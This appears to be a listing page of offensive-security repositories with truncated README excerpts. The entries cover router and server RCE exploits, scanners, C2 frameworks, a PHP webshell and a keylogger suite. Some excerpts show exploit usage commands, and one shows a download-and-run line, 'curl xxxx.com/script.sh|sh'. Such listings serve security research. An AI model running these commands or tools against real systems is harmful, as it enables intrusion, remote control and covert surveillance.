CVE-2025-34037

CVE-2025-34037 Versión en Python del exploit RCE de Linksys tmUnblock.cgi Solo para uso educativo. Ejecútalo contra tus propios dispositivos. Vulnerabilidad El endpoint tmUnblock.cgi en varios modelos de routers Linksys acepta solicitudes POST sin validar el encabezado Authorization. El parámetro...

CVE-2024-2997

CVE-2024-2997 Scanner Overview CVE-2024-2997 Scanner is an advanced vulnerability scanner designed to detect the command injection vulnerability in web applications. This tool helps security professionals identify potential security risks in their applications. Disclaimer This tool is for...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Este es solo un script de conveniencia que escribí para pruebas. Salida Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an ima...

jboss-_CVE-2017-12149

jboss-CVE-2017-12149 verifyCVE-2017-12149.jar provides a command-line mode to verify the vulnerability. If the vulnerability exists, it returns a characteristic string. Simply execute the command: $ java -jar verifyCVE-2017-12149.jar http://xxx:8080 成功返回: vuln6581362514513155613jboss...

FollinaXploit

Follina Exploiter CLI Tool - Vulnerabilidad MSDT CVE-2022-30190 Una herramienta Python basada en línea de comandos para explotar la vulnerabilidad Zero-Day en MSDT Microsoft Support Diagnostic Tool, también conocida como 'Follina' CVE-2022-30190. Información : Nuevo zero-day de Microsoft Office...

SneeitScanner-CVE-2025-6389

SneeitScanner-CVE-2025-6389 SneeitScanner - PoC & Scanner para RCE no autenticada en Sneeit Framework CVE-2025-6389 ⚡ SneeitScanner ⚡ Prueba de Concepto PoC y Escáner Automatizado para RCE No Autenticada en Sneeit Framework CVE-2025-6389 Este script Python robusto es una PoC funcional y una...

CVE-2023-38646-PoC

CVE-2023-38646 - Metabase Pre-auth RCE Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1,...

rome-webshell

Rome WebShell Un potente y encantador WebShell PHP Este es un webshell PHP ligero , que usa solo JavaScript y CSS vanilla, sin hinchazón de jQuery/Bootstrap. Características Explorador de archivos totalmente interactivo , navega por directorios y descarga archivos al instante Subir archivos...

pwdgenerator

pwdgenerator Generador de diccionarios de contraseñas personalizado Escrito basado en el proyecto passmaker del primo bit4woo～ 🙏 Cómo usar, descargar release Línea de comandos: ./pwdgenerator -h Uso simple ./pwdgenerator -d baidu.com -min 6 -max 10 Generador de diccionarios de contraseñas...

CVE-2020-0688-GUI

一、Project Purpose and Reference The purpose is simple: I'm planning to write a C2 in C again recently, so let's first write some small tools to practice and increase interest. So I thought of turning zcgonvh's tool into a GUI. The source tool link is as follows:...

overkill

Overkill Overkill is an exploit for a patched vulnerability affecting QNAP QTS. Due to the way QNAP discloses vulnerabilities, I'm unsure if this issue has a CVE or not. However, it was likely patched in November 2020 and April 2021. The n-day was "discovered" while doing diff analysis for...

CVE-2023-33381-MitraStar-GPT-2741GNAC

CVE-2023-33381-MitraStar-GPT-2741GNAC CVE-2023-33381: Inyección de comandos del sistema operativo en MitraStar GPT-2741GNAC Dispositivo: GPT-2741GNAC Versión de firmware: ARg5.8110WVN0b72 Descripción de la vulnerabilidad: Al iniciar sesión por SSH, noté inmediatamente el conjunto limitado de...

trevorc2

trevorc2 TrevorC2 - Command and Control via Legitimate Behavior over HTTP Written by: Dave Kennedy @HackingDave Website: https://www.trustedsec.com Note that this is a very early release - heavy randomization and encryption to be added soon. TrevorC2 is a client/server model for masking command a...

trevorc2

trevorc2 TrevorC2 - Comando y Control mediante Comportamiento Legítimo sobre HTTP Escrito por: Dave Kennedy @HackingDave Sitio web: https://www.trustedsec.com Tenga en cuenta que esta es una versión muy temprana; pronto se añadirán gran aleatorización y cifrado. TrevorC2 es un modelo...

F5-CVE-2022-1388-Exploit

F5-CVE-2022-1388-Exploit Exploit and Check Script for CVE 2022-1388 Usage Check against single host python3 CVE-2022-1388.py -v true -u targeturl Attack host and test command python CVE20221388.py -a true -u targeturl -c command Attack list of hosts python CVE20221388.py -s true -f file...

lightweight_static_analysis

Lightweight Static Analysis This repo contains the PoC code for a ShellCon 2019 talk, "Rolling Your Own: How to Write Custom, Lightweight Static Analysis Tools" slides. In a nutshell, this repo demonstrates a few concrete examples of how you can build some interesting static analyses using open...

SQLC2

SQLC2 SQLC2 is a PowerShell script for deploying and managing a command and control system that uses SQL Server as both the control server and the agent. At its core, SQLC2 is just a PowerShell script, a TSQL script, and a few tables in an SQL Server instance that tracks agents, commands, and...

quasibot

quasiBot quasiBot 0.3 - Read Me 07.08.14 Agenda QuasiBot is a complex webshell manager written in PHP, which operate on web-based backdoors implemented by user himself. Using prepared php backdoors, quasiBot will work as C&C trying to communicate with each backdoor. Tool goes beyond average...

CVE-2021-22205

CVE-2021-22205 GitLab fails to properly verify image files passed to the file parser, leading to command execution. An attacker can craft malicious requests to exploit this vulnerability and execute arbitrary commands on the target system, ultimately taking control of the GitLab server. Since mos...

Pegasus-Gram

Pegasus-Gram – Suite Avanzada de Keylogger y Monitoreo Cibernético 🕵️‍♂️ Autor: Letda Kes dr. Sobri, S.Kom 📧 Contacto: [email protected] 🐙 GitHub: github.com/sobri3195 💰 Apoya el Proyecto: Donar vía Lynk.id Pegasus-Gram es un keylogger avanzado y herramienta de vigilancia cibernética basada en...